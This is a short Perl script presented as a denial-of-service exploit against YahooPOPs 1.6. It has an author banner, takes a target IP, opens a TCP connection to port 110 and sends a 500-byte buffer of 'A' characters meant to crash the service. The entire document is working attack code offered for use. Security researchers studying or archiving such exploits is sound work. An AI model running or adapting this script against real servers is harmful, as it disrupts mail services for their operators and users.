YahooPOPs 1.6 Denial Of Service

use IO::Socket;   sub intro {      print q {                              ,--,                       _ ___/ /\|                   ,;'( )__, )  ~                  //  //   '--;                   '   \     | ^                       ^    ^      [+] YahooPOPs 1.6 - SMTP - Denial of Service (DoS)      [*] Coded by Fernando Mengali      [@] e-mail: [email protected]      }  }intro();    if (!$ARGV[0]) {        print "\nUsage: $0 <ip> <username> <password>\n";        exit(0);}my $host = $ARGV[0];my $username = $ARGV[1];my $password = $ARGV[2];my $port = 110;my $payload  = "A" x 500;my $ip = inet_aton($ARGV[0]);my $socket = IO::Socket::INET->new(    PeerAddr => $ip,    PeerPort => $port,    Proto    => 'tcp',    Timeout  => 10);unless ($socket) {    die "[+] socket() error: $!\n";}print "[+] YahooPOPS SMTP detected, constructing the payload\n";unless ($socket->send($payload)) {    die "[+] Sending error, the server probably rebooted.\n";}